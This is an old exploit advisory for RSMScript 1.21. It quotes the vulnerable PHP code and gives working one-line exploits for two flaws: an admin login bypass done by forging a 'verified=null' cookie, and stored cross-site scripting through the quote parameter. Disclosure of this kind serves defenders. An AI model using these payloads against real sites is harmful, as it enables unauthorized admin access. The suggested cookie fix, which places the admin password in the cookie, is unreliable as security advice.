477bcbdcc0
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96 lines
2.7 KiB
Text
Executable file
96 lines
2.7 KiB
Text
Executable file
[START]
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#########################################################################################
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[0x01] Informations:
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Script : RSMScript 1.21
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Download : http://www.hotscripts.com/jump.php?listing_id=78547&jump_type=1
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Vulnerability : Insecure Cookie Handling / XXS
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Author : Osirys
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Contact : osirys[at]live[dot]it
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Website : http://osirys.org
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Notes : Proud to be Italian
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Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX
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#########################################################################################
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[0x02] Bug: [Insecure Cookie Handling]
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######
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Bugged file is: /[path]/verify.php
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[CODE]
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if($admin_pass == $code)
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{
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setcookie("verified", "null", time()+1800);
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header( 'refresh: 0; url=update.php' );
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}
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[/CODE]
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As we can see, if the password "$code" typed is the same of $admin_pass, so you log in,
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cookie is set with the name "verified" and with content "null". So, a malicious user
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can just set up a cookie with that name and value, and then he will be logged as the
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admin.
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[!] FIX: A fix could be to put as a content or cookie name the password. Example:
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[CODE] setcookie("verified", "$admin_pass", time()+1800); [/CODE]
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[!] EXPLOIT: javascript:document.cookie = "verified=null; path=/";
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#########################################################################################
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[0x03] Bug: [XSS]
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######
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To exploit this bug, we must be logged in. Just bypass the login with the Cookie ;)
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There are two bugged file.
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1) /[path/submit.php
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In this file, we can put arbitrary data into a .txt file.
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[CODE]
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$quote = $_REQUEST['quote'];
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$writePage = fopen('quotes.txt', 'a') or die("can't open file");
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fwrite($writePage, "\t");
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fwrite($writePage, stripslashes($quote));
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fclose($writePage);
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[/CODE]
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[!] FIX: Just filter direct user input.
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2) /path/update.php
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This file gets quotes.txt content, and print it directly into html code.
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In 1) we saw that we can put arbitrary data into this .txt file. Just
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Put js code ;)
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[CODE]
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$quotes = file_get_contents("quotes.txt");
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$quotes= preg_split("/[\t]+/", $quotes);
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$i = 0;
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$noQuotes = sizeOf($quotes);
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while ($i < $noQuotes)
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{
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$quote = $quotes[$i];
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echo '<option value='.$i.'>'.$quote.'</option>';
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$i = $i + 1;
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}
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[/CODE]
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[!] FIX: A fix could be just to filter input before being printed in html code.
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## How to exploit this bugs?
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[!] EXPLOIT: /[path]/submit.php?quote=<script>alert("XSS")</script>
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#########################################################################################
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[/END]
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# milw0rm.com [2008-12-17]
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